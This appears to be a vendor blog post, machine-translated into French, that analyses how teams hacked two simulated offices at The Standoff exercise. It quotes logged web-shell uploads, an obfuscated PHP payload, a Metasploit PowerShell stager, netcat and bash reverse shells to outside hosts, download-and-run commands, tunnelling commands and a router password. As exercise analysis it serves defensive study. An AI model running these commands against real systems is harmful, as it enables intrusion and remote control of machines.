Ainsi, la prochaine «confrontation» s'est terminée lors du Positive Hack Days 8. Cette fois, plus d'une centaine de personnes ont participé au combat: 12 équipes d'attaquants, 8 équipes de défenseurs et toute une ville qu'ils ont dû attaquer et défendre.
Cette fois, The Standoff a été suivi non seulement par des équipes d'attaquants et de défenseurs, les trois produits de notre société ont regardé tout ce qui s'est passé sur le réseau de jeux:
Les trois produits ont été surveillés par l'équipe du centre expert en sécurité Positive Technologies (PT ESC), qui surveille les tendances et les événements du jeu pour en informer les visiteurs du centre expert.
C'était la première participation d'une telle équipe d'experts et de produits et ils ont montré leur meilleur côté: il y avait tellement de données qui seraient suffisantes pour un énorme rapport. Les réseaux du bureau n ° 2 de la société intégratrice SPUTNIK et du bureau n ° 1 de la compagnie d'assurance BeHealthy se sont avérés les plus intéressants et les plus complets par description. Le bureau n ° 2 était intéressant en ce qu'il était sous la supervision du SOC RTK, mais n'était pas pris en charge par une équipe de défenseurs et il était complètement piraté par les équipes attaquantes.
Permettez-moi de vous rappeler qu'en plus de deux bureaux, la ville disposait d'une centrale et d'une sous-station de chauffage et d'électricité, de chemins de fer, de maisons intelligentes avec récupération d'énergie et de banques avec des distributeurs automatiques de billets.
Infrastructure de jeuLa façon dont les événements dans les bureaux # 1 et # 2 ont regardé à travers le prisme de MaxPatrol SIEM, PT NAD et PT MultiScanner en mettant l'accent sur les détails techniques du piratage sera discutée plus loin.
Diagramme logique d'un bureau de réseau de jeux n ° 2:
L'adresse des équipes attaquantes est 172.31.x.0 / 24, où x est le numéro de commande de 1 à 8. En fait, il y avait 12 équipes au total, mais en raison de l'architecture de l'infrastructure réseau du réseau (le cœur du réseau a été émulé dans Cisco CSR1000v) et du physique équipements, il a été possible d'organiser seulement 8 interfaces réseau physiques qui ont été commutées pour les équipes dans toute la zone de jeu. Par conséquent, dans quatre réseaux, deux équipes étaient localisées.
Dans l'infrastructure d'Office # 2, quatre segments de réseau ont été alloués:
- DMZ (100,64,154,0/25);
- serveurs (10.106.60.0/24);
- Employés de l'entreprise (10.106.50.0/24);
- équipe de défenseurs (10.106.82.0/24).
Les nœuds situés dans la zone démilitarisée étaient accessibles sur le réseau pour tous les attaquants. Lors de l'accès à ces nœuds, les adresses réseau réelles des commandes NAT provenaient du pool 100.110.255.0/24, donc pour les défenseurs, il n'était pas facile de déterminer à qui appartient tel ou tel trafic réseau - cela pourrait être l'une des 12 équipes attaquantes ou un vérificateur de script légitime, vérifier la facilité de service des services à partir du même pool d'adresses que les attaquants.
Pour remplir nos produits d'événements sur ce qui se passe dans l'infrastructure de jeu, nous avons organisé la suppression et la redirection d'une copie de tout le trafic réseau dans PT NAD, ainsi que mis en place un audit approfondi des événements des systèmes cibles et organisé leur livraison à MaxPatrol SIEM.
L'analyse des attaques mettant l'accent sur les équipes se trouve dans notre autre
rapport sur Habr .
Joomla (100.64.154.147)
L'un des serveurs du bureau DMZ # 2 était un serveur avec Joomla CMS. Quelques heures après le début du jeu, les premiers signes de compromis de ce serveur sont apparus dans PT NAD - remplissage webshell à partir du pool d'adresses IP «grises»:
Comme mentionné, tous les sous-réseaux des équipes attaquantes ont été arrêtés sur le même ME (Attacker-FW) et lors de la création d'une connexion aux objets attaqués, les adresses IP des attaquants ont été traduites en adresses IP grises à partir d'un seul pool (100.110.255.0/24). Par conséquent, pour la personnification des attaques par commandes, un schéma a été implémenté avec l'enrichissement des passerelles selon le tableau NAT de ce ME. Dans le cadre de MP SIEM, l'enrichissement a été le suivant:
Cette approche nous a permis de déterminer que cette attaque avait été initiée par l'équipe n ° 1. Cependant, en raison de l'utilisation du même pool d'adresses par différentes équipes, nous ne pouvons pas déterminer de manière fiable le nom de l'équipe à la demande d'un réseau particulier, et à des fins de narration, nous nommerons les équipes par leur numéro de réseau.
Une heure après avoir essayé la commande n ° 1, PT NAD a remarqué que la commande n ° 8 se chargeait sur un autre shell web avec le nom parlant SHE __. La commande définit une session ssh à partir d'un utilisateur utilisateur non privilégié.
Le mot de passe de ce compte était en haut du dictionnaire rockyou et était assorti. L'accès au compte root pour la 8e équipe n'est apparu qu'à environ 16 h 00 en raison de l'appartenance de l'utilisateur au groupe avec le droit d'exécuter des commandes sans mot de passe à partir de la racine. Nous pouvons en être convaincus dans les journaux MP SIEM, qui nous parlent de la première connexion en tant qu'utilisateur utilisateur, puis de l'escalade de privilèges avec la commande sudo.
La durée du journal peut varier de 3 heures en raison de la configuration du serveur de jeu.
Au soir du premier jour de l'affrontement, la sixième équipe a pris possession de Joomla. NAD a découvert l'exploitation d'une vulnérabilité, ou plutôt d'une
fonctionnalité par laquelle l'équipe a téléchargé le shell Web WSO largement connu et a commencé à interagir avec.
100.110.255.160 - - [15/May/2018:09:39:31 -0700] GET /templates/beez3/index.php HTTP 100.110.255.160 - - [15/May/2018:09:39:35 -0700] POST /templates/beez3/index.php HTTP 100.110.255.160 - - [15/May/2018:09:39:35 -0700] GET /templates/beez3/index.php HTTP 100.110.255.220 - - [15/May/2018:09:39:56 -0700] POST /templates/beez3/index.php HTTP … 100.110.255.32 - - [15/May/2018:09:44:39 -0700] POST /templates/beez3/index.php HTTP 100.110.255.118 - - [15/May/2018:09:44:43 -0700] POST /templates/beez3/index.php HTTP 100.110.255.145 - - [15/May/2018:09:44:49 -0700] GET /templates/beez3/index.php HTTP
Il est à noter que le script utilisé par les commandes pour remplir les shells,
nécessite un compte administrateur, dont le mot de passe a été sélectionné à l'aide d'une autre
vulnérabilité CVE-2017-14596 dans le mécanisme d'authentification dans Joomla via LDAP: en modifiant la demande d'authentification LDAP, les attaquants récupèrent rapidement l'identifiant et le mot de passe du compte administrateur.
Et après une demi-heure, ils ont pris le contrôle de l'ensemble du système.
Les équipes attaquantes ont utilisé la machine capturée pour de nouvelles reconnaissances dans le réseau du deuxième bureau SPUTNIK avec les utilitaires nmap et hping3. On peut se faire une idée de leurs actions à partir des données MP SIEM:
Exemple de réseau DMZ Intelligence Office 2 (100.64.154.0/24) et du réseau de l'équipe de défense (10.106.82.0/24):
À 21h17, nous avons constaté que le client OpenVPN était installé et lancé sur le serveur Joomla. La connexion a été établie avec le serveur 195.16.61.229, situé à Moscou. Un peu plus tard, nous avons découvert que ces actions étaient effectuées par des membres de l'équipe # 6 et ainsi l'équipe a réussi à attirer des ressources informatiques et humaines supplémentaires situées sur un site distant.
Toutes les interactions avec le site distant ont été réalisées à l'intérieur du tunnel protégé, il est donc impossible d'établir la nature de cette interaction et le degré de son influence sur le jeu. Nous ne pouvons que tirer des conclusions indirectes, basées sur le nombre de sessions VPN et la quantité de données transférées.
Mais le plus intéressant est que l'équipe n'a pas nettoyé les traces - après le jeu, nous avons trouvé sur le serveur ovpn une configuration contenant la racine et les certificats personnels, la clé privée et les données personnelles du propriétaire de la clé. Si vous utilisez un moteur de recherche, il n'est pas du tout difficile de déterminer la véritable identité du propriétaire sous le pseudo phonexicum. La carte complète avec toutes les connexions VPN pendant le jeu peut être consultée à la fin de l'article.
D'autres événements intéressants ont commencé à se développer après minuit (+3 heures pour les journaux).
La commande Shell /id.php # 4 trouve la commande # 1:
[15/May/2018:21:58:22 +0000] "GET /id.php HTTP/1.1 [15/May/2018:21:58:24 +0000] "GET /id.php HTTP/1.1 [15/May/2018:21:58:34 +0000] "GET /id.php?c=ls HTTP/1.1 [15/May/2018:21:58:38 +0000] "GET /id.php?cmd=ls HTTP/1.1 [15/May/2018:21:59:53 +0000] "GET /id.php?cmd=id HTTP/1.1 [15/May/2018:21:59:56 +0000] "GET /id.php?cmd=ls+-la HTTP/1.1
Et se renforce immédiatement dans le système, préservant le shell Web WSO sous le nom 123.php
[15/May/2018:22:00:05 +0000] "GET /id.php?cmd=wget HTTP/1.1 [15/May/2018:22:00:10 +0000] "GET /id.php?cmd=wget -h HTTP/1.1 [15/May/2018:22:00:53 +0000] "GET /id.php?cmd=cat index.php HTTP/1.1 [15/May/2018:22:01:04 +0000] "GET /id.php?cmd=wget http://txt.731my.com/wso.txt -o 123.php HTTP/1.1
La première équipe a hébergé jusqu'à ce que l'équipe # 4 le découvre quelques heures plus tard et, après une courte discussion, renomme le shell id.php en 021371b392f0b42398630fd668adff5d.php
[16/May/2018:00:06:13 +0000] "GET /id.php?cmd=id HTTP/1.1 [16/May/2018:00:06:26 +0000] "GET /id.php?cmd=ls HTTP/1.1 [16/May/2018:00:07:16 +0000] "GET /id.php?cmd=mv id.php 021371b392f0b42398630fd668adff5d.php HTTP/1.1
Par la suite, 021371b392f0b42398630fd668adff5d.php a été remplacé par kekekeke.php et kekpek.php
[16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1 (base64_decode (ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr ( [16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1 > Kekekeke.php HTTP [16/May/2018:00:41:23 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=echo "<?phpeval(base64_decode(ailYmWoCX2oBXg8FSJdSxwQkAgAd3UiJ5moQWmoxWA8FWWoyWA8FSJZqK1gPBVBWX2oJWJm2EEiJ1k0xyWoiQVqyBw8FSJZIl18PBf.chr(47).m));?>" > kekekeke.php HTTP/1.1 [16/May/2018:06:20:52 +0000] GET /021371b392f0b42398630fd668adff5d.php?cmd=wget%20193.124.190.162/kek.php -O kekpek.php HTTP/1.1
Les événements suivants dans l'infrastructure de domaine du bureau # 2 SPUTNIK sont étroitement liés à ce qui se passe sur Jumla.
SPUTNIK (10.106.60.0/24)
Après que Joomla a été percé, l'attaquant a eu accès aux segments internes de l'infrastructure SPUTNIK (Office # 2). Sans réfléchir à deux fois, l'exploit MS17-010 vole vers le contrôleur de domaine WIN2008R2-DC.domain2.phd (10.106.60.10).
Il est plus pratique d'observer la chronologie d'autres événements par les déclencheurs de MP SIEM:
La première étape de l'attaquant a été de créer un utilisateur avec le nom "nom d'utilisateur" et le mot de passe "1qazzaq!" et l'ajouter au groupe d'administrateurs locaux (écran n ° 2). L'exploitation réussie des exploits de MS17-010 donne accès avec les privilèges NT-Authority \ System et dans les journaux Windows, cet accès est affiché sous la forme win2008r2-dc $.
Au nom du nouvel utilisateur, crée quelques services qui exécutent un certain script PowerShell:
%COMSPEC% /b /c start /b /min powershell.exe -nop -w hidden -noni -c if([IntPtr]::Size -eq 4){$b=$env:windir+'\sysnative\WindowsPowerShell\v1.0\powershell.exe'}else{$b='powershell.exe'};$s=New-Object System.Diagnostics.ProcessStartInfo;$s.FileName=$b;$s.Arguments='-noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream([Convert]::FromBase64String(''H4sIAGRK+1...u9uxfACgAA'')))[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))';$s.UseShellExecute=$false;$s.RedirectStandardOutput=$true;$s.WindowStyle='Hidden';$s.CreateNoWindow=$true;$p=[System.Diagnostics.Process]::Start($s);""
Ce script a été généré par le framework Metasploit. Son but est d'ouvrir le socket sur le port 55443 pour l'écoute et d'exécuter la «charge utile» qui est venue à ce port - vraisemblablement Meterpreter.
Une tentative de lancement d'un shell distant a réussi. Après cela, les attaquants ont continué à développer l'attaque et le nom d'utilisateur crée un autre compte avec le nom "vitalik", en ajoutant ce compte au groupe "Admins du domaine" et peu de temps après sa création, nous voyons une connexion interactive.
Alors que vitalik a créé le service avec le même script PowerShell que le nom d'utilisateur, le nom d'utilisateur a réinitialisé massivement les mots de passe des comptes de domaine et s'est intéressé au serveur de messagerie de domaine Win2008R2-EXCH voisin.
L'activité presque simultanée des utilisateurs de nom d'utilisateur et de vitalik sur le serveur de domaine Exchange (analyse et connexion) suggère que plusieurs membres de l'équipe ont probablement examiné le réseau SPUTNIK en même temps.
vitalik vérifie la disponibilité du serveur de messagerie et lance la console de gestion du serveur après une connexion interactive.
Ne trouvant rien de valable, il fait glisser son instrumentation et son artillerie lourde sur l'hôte Win2008R2-DC - de nombreux scripts PowerShell et le framework BloodHound apparaissent sur le contrôleur de domaine, qui est un outil populaire de reconnaissance dans les réseaux Active Directory. Pour accéder à l'interface Web BloodHound, le participant a dû désactiver le mode protégé dans IE, qui a également été détecté par le SIEM.
L'activité BloodHound sur le réseau n'est pas passée par PT NAD. L'une des fonctionnalités de l'outil était de rechercher des connexions actives sur les hôtes du réseau. Un tel trafic vers le service SRVSVC est détecté par l'une des signatures PT NAD et indique une intelligence à l'intérieur du réseau:
Vers une heure du matin, les attaquants, après avoir créé un cliché instantané du disque à l'aide de l'utilitaire vssadmin, ont fait glisser la base de données ntds.dit contenant tous les comptes de domaine. Après avoir réussi cette attaque, les attaquants prennent complètement le contrôle du domaine, recevant le hachage du compte spécial «krbtgt» à leur disposition. Posséder ce compte vous permet de créer et d'utiliser ce que l'on appelle. Golden Ticket - Ticket Kerberos pour un accès illimité aux ressources du domaine, l'accès aux serveurs au nom de tout utilisateur existant et même inexistant et toutes les actions du domaine. L'utilisation de Golden Ticket est assez difficile à détecter à l'aide d'un équipement de protection, mais compromettre les liens krbtgt et ntds.dit est beaucoup plus facile à détecter.
L'équipe passe progressivement de la recherche de domaine à la recherche du réseau de système de contrôle de processus automatisé qu'elle a ouvert. Après avoir déplacé les scanners Nmap vers les employés de SPUTNIK - YLAVRENTIEV.sputnik.phd et EPONOMAREV.sputnik.phd, les réseaux ont été scannés 172.20.xx. Les participants ont utilisé
nmap_performance.reg pour modifier les paramètres TCP / IP de la pile Windows et accélérer l'analyse du réseau de contrôle des processus.
Les connexions aux hôtes dans le système de contrôle automatique des processus du réseau via les tunnels sur les hôtes du domaine SPUTNIK parlent d'elles-mêmes. Une description de ce que les pirates ont fait sur le réseau industriel peut être trouvée dans la vidéo de nos collègues sur
YouTube .
Parmi les autres réalisations des attaquants, d'autres tunnels, des sessions ssh, des percées créatives après une nuit blanche le premier jour de la compétition, et bien sûr, des mineurs de jeu établis qui exploitaient la monnaie DDOS Coin ont également été remarqués.
ZABBIX (100.64.100.161)
Situé dans le bureau n ° 1 de la DMZ et a fièrement joué son rôle jusqu'à environ midi, il a été piraté par une équipe non identifiée.
Il n'a pas été difficile de trouver les informations d'identification d'administrateur et l'équipe a utilisé la fonctionnalité zabbix intégrée pour étendre de manière illimitée les capacités de surveillance à l'aide de scripts personnalisés.
Vous pouvez utiliser n'importe quelle commande Linux dans les scripts, ce que les équipes membres ont utilisé pour créer des proxys shells et Socks.
command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=/bin/ping -c 3 {HOST.CONN} 2>&1 command=ls /bin/ command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=/bin/nc -e /bin/sh -lp 5432 2>&1 command=ping 8.8.8.8 command=ping 8.8.8.8; netstat -tulpn command=ping -n 4 8.8.8.8; netstat -tulpn command=ls /tmp/phd command=netstat -tulpn command=wget http://195.16.61.232:8888/x86_elf -O /tmp; ls /tmp command=ls /tmp command=curl http://195.16.61.232:8888/x86_elf --output /tmp/tmp.bin;ls /tmp command=ping -c 4 195.16.61.232 command=touch /tmp/test;ls /tmp/ command=pwd command=whoami command=ls /var/www/html command=which nc command=curl http://195.16.61.230/PHD/ --output /tmp/tmp.bin; ls /tmp command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1 command=chmod u+x /tmp/tmp.bin;/tmp/tmp.bin command=bash -i >& /dev/tcp/195.16.61.232/195 >&1 command=bash -i >& /dev/tcp/195.16.61.232/1950 0>&1 command=bash -i >& /dev/tcp/195.16.61.232/8080 0>&1
L'équipe a tenté de télécharger le module depuis le serveur sous contrôle 195.16.61.232, mais en vain:
Ensuite, après une petite exploration de l'environnement, j'ai installé un shell bash distant en utilisant des outils linux standard avec le même serveur, en envoyant des paquets directement à / dev / tcp /.
Non moins intéressant était le contenu du trafic entre l'équipe et les obus, qui était transmis en clair et ne passait pas par les capteurs PT NAD.
bash-4.2$ /tmp/gost -L socks4a://:1080 & bash-4.2$ gost -L=:54321 -F=10.100.50.48:3389 bash-4.2$ /tmp/gost -L socks4a://:1080 & bash-4.2$ nmap bash: nmap: command not found bash-4.2$ ifconfig bash-4.2$ ping 172.30.240.106 bash-4.2$ wget https://gist.githubusercontent.com/sh1n0b1/e2e1a5f63fbec3706123/raw/1bd5f119a7f1e2d4c9328d78686ae79b4e1642f7/linuxprivchecker.py bash-4.2$ python linuxprivchecker.py bash-4.2$ uname -a bash-4.2$ cd /etc/cron.daily: bash-4.2$ ./gost -L=tcp://:33899/10.100.50.39:3389 bash-4.2$ ./gost -L=tcp://:4455/10.100.50.39:445 & bash-4.2$ ./gost -L=tcp://:1139/10.100.50.39:139 & bash-4.2$ ./gost -L=tcp://:12345/10.100.60.55:3389 & bash-4.2$ ./gost -L=tcp://:12347/10.100.60.5:445 & bash-4.2$ ./gost -L=tcp://:12348/10.100.60.15:445 & bash-4.2$ ./gost -L=tcp://:12349/10.100.50.100:445 & bash-4.2$ ./gost -L=tcp://:12350/10.100.80.28:445 & bash-4.2$ ./gost -L=tcp://:12351/10.100.80.23:445 & bash-4.2$ ./gost -L=tcp://:12352/10.100.80.30:445 & bash-4.2$ ./gost -L=tcp://:12353/10.100.80.32:445 & bash-4.2$ ./gost -L=tcp://:12354/10.100.80.26:445 & bash-4.2$ ./gost -L=tcp://:12355/10.100.80.5:445 & bash-4.2$ ./gost -L=tcp://:12356/10.100.80.9:445 & bash-4.2$ ./gost -L=tcp://:12357/10.100.80.23:445 & bash-4.2$ ./gost -L=socks5://:1081 &
Comme nous pouvons le voir, le serveur ZABBIX a été principalement utilisé comme tête de pont pour la reconnaissance des sous-réseaux de bureau # 1: 10.100.50.0/24 (utilisateurs), 10.100.60.0/24 (serveurs) et 10.100.80.0/24 (SecurityTeam).
Multiserveur (100.64.100.167)
Multiserver est un autre hôte Linux dans le bureau DMZ # 1 avec une paire de serveurs HTTP et une base de données MySQL à bord. Bien que le multiserveur ait été soumis à une analyse intensive, il n'y a eu que quelques attaques réussies. L'hôte contenait la vulnérabilité SambaCry 2017, trouvée après les vulnérabilités MS17-010, et les équipes ont essayé de l'utiliser. Le filtre PT NAD vous permet de localiser leurs tentatives sur la timeline:
La charge dans l'une des tentatives de la commande # 3 était la bibliothèque exécutable DTECJtAf.so. Et, à en juger par le nom de la bibliothèque, les membres de l'équipe ont utilisé le module is_known_pipename du Metasploit Framework. Preuve:
Lors de la confrontation, les experts ont été assistés par PT MultiScanner, qui a vérifié tous les fichiers survolant le réseau qui ont été remarqués par PT NAD. Après quelques instants, il rend un verdict à DTECJtAf.so survolant le réseau: Linux / SmbPayload.C
A en juger par l'absence d'autres interactions réseau entre le serveur et la commande n ° 3, l'exploit n'a pas porté ses fruits. Cependant, presque en même temps, nous voyons une session SSH active de l'équipe # 4. Par le volume de trafic transmis, nous pouvons juger que les attaquants ont utilisé le serveur au maximum.
De manière générale, la première connexion SSH réussie de l'utilisateur administrateur de l'équipe n ° 4 s'est produite vers 15 h 20 le 1er jour de la compétition:
Comme tout attaquant décent, la connexion est suivie d'une vérification des privilèges et d'une reconnaissance sur l'hôte:
Et au-delà:
Avec facilité, nous effectuons l'attribution de l'attaquant par langue:
Le multiserveur n'a pas reçu la configuration appropriée et on ne sait pas avec certitude quelles autres tentatives les équipes ont faites. À en juger par les journaux disponibles, cet hôte, ainsi que d'autres hôtes du bureau DMZ # 1, ont servi de point de départ pour explorer l'infrastructure interne du bureau.
Mis
D'autres hôtes sont également devenus le centre d'attention des équipes. Par exemple, les participants se sont comportés avec curiosité par rapport au routeur Mikrotik au 100.64.100.237 dans le réseau DMZ d'Office # 1. Vers 2 heures du matin le deuxième jour de la confrontation, une connexion réussie à la console de la console du routeur Telnet avec la paire «admin: VxPvRxX74e8xrbia77hsi7WKm» a réussi. La version du firmware de l'appareil était la 6.38.4 - c'est la version sur laquelle le célèbre exploit Chimay Red Stack Clash pour Mikrotik a été testé, qui permettait d'exécuter n'importe quel code sur l'appareil, et, en particulier, d'extraire les mots de passe des utilisateurs sur le routeur. PT NAD a découvert une vulnérabilité d'exploitation.
Mais ensuite, dans la zone du déjeuner, l'équipe qui a d'abord pris le routeur a décidé de fermer le trou avec une simple mise à jour du firmware et de monopoliser l'accès:
C'est l'un des rares exemples où une équipe de participants ferme un trou dans le système afin que d'autres équipes ne puissent pas capturer cet hôte.
PT MultiScanner a détecté un événement curieux:
Pour accéder à la banque, les équipes pouvaient utiliser le client bancaire disponible sur le site. Le site est situé dans le réseau bancaire sous la supervision d'une équipe de défenseurs et ils ont
construit le client en utilisant le framework Metasploit et l'ont remplacé par celui d'origine. Heureusement pour les défenseurs, le client intégré a été téléchargé par plusieurs équipes, comme nous le voyons dans la capture d'écran de PT MultiScanner ci-dessus. Aucune connexion réussie n'a été remarquée, mais le cas mérite d'être mentionné, car de tels scénarios se produisent dans la vie ordinaire - des attaquants programmes de chevaux de Troie sur des sites Web officiels ou remplacent des mises à jour pour lancer des attaques sur des clients.
Mineurs
Une autre innovation dans The Standoff a été l'avènement des mineurs de jeux. Selon la légende, les équipes pourraient utiliser les serveurs capturés comme mineurs, ce qui leur apportait des points supplémentaires. Au lieu des crypto-monnaies traditionnelles, ils ont exploité DDoS Coin - l'équivalent en devise de l'effort consacré à une attaque DDoS sur un serveur. Les données des poignées de main TLS 1.2 ont servi de preuve de travail et plus le mineur a fait de poignées de main TLS avec le serveur cible, plus sa probabilité de trouver un nouveau bloc et de recevoir sa récompense de l'organisateur de l'attaque DDoS était élevée.
Le client était écrit en Go et pouvait fonctionner à la fois sur Windows et Linux. L'idée a été appliquée pour la première fois et, bien que toutes les équipes n'aient pas réussi à l'appliquer, des tentatives de lancement ont été observées sur de nombreux serveurs de l'infrastructure de jeu:
Tentative d'exécution du mineur sur le nœud Joomla (100.64.154.147)
Exécution du mineur à partir de l'infrastructure SPUTNIK (10.106.60.0/24)
Dans le cadre du jeu, les équipes pourraient extraire la crypto-monnaie et l'échanger contre des points de jeu. La moitié des équipes ont réussi à utiliser les serveurs précédemment capturés pour extraire les blocs. Il y avait aussi une composante de change dans la logique du jeu - avec un fort changement dans la quantité de devises extraites, son taux de change a diminué. Ainsi, il a été possible d'effectuer des opérations spéculatives et de gagner des points sans terminer les tâches de base. Mais comme cette idée n'était pas appliquée auparavant dans de tels jeux, les équipes n'ont pas pu l'utiliser correctement et cela n'a pas affecté de manière significative le déroulement du jeu.
En termes de nombre de blocs extraits, l'équipe kazakhe CARKA a pris les devants, qui a été la première à lancer des mineurs sur l'infrastructure de jeu. Ici, nous avons pu nous éloigner des numéros de réseau des équipes pour leurs noms, car leurs identifiants contenaient des informations sur le bloc et ont été pris en compte lors du calcul. En général, l'idée s'est avérée bonne, et c'est sûr qu'elle peut être vue au prochain The Standoff.
Au lieu de la sortie
Last Standoff était chaud - 12 équipes ont activement exploré et piraté l'infrastructure de la ville. Nos produits nous ont permis «d'espionner» exactement comment les participants au jeu ont agi, quelles tactiques et quels outils ils ont choisis et ce qui est devenu leur objectif. Nous avons vu comment ils interagissaient avec l'infrastructure de domaine du bureau, en commençant par l'infection d'une machine et se terminant par la saisie de l'ensemble du domaine et la transition vers le prochain réseau ACS. Lors d'un événement comme The Standoff, les produits ont une énorme charge: MaxPatrol SIEM a fait face à 20000 EPS et PT NAD a traité plus de 3 téraoctets de trafic réseau au cours des deux jours, sans parler de l'infrastructure réseau elle-même: routeurs, commutateurs et pare-feu.
Un tel compromis des bureaux virtuels pourrait se produire avec de vrais bureaux sans les moyens appropriés de protection et de contrôle. En règle générale, cela entraîne la fuite de données précieuses telles que la correspondance, les données financières et les données personnelles des employés / utilisateurs.
Parmi les analyses, les brutes et les tentatives d'exploiter toutes sortes de vulnérabilités, les produits ont aidé à déterminer comment les serveurs d'infrastructure de jeu étaient piratés. Les attaques réussies et les traces de compromis réussies telles que les shells Web, les consoles distantes, les tunnels et les connexions hôtes ont été déterminées. Tout cela aide les experts à améliorer les produits.
Dans cette capture d'écran des statistiques sur les connexions VPN des équipes pendant le jeu, vous pouvez voir à quel point The Standoff était international: les connexions VPN ont été établies avec des serveurs aux États-Unis, au Kazakhstan, aux Pays-Bas et dans la moitié de l'Europe! Soit dit en passant, il n'y avait aucune équipe des États-Unis ou d'Europe à The Standoff, mais il y avait une équipe du Kazakhstan.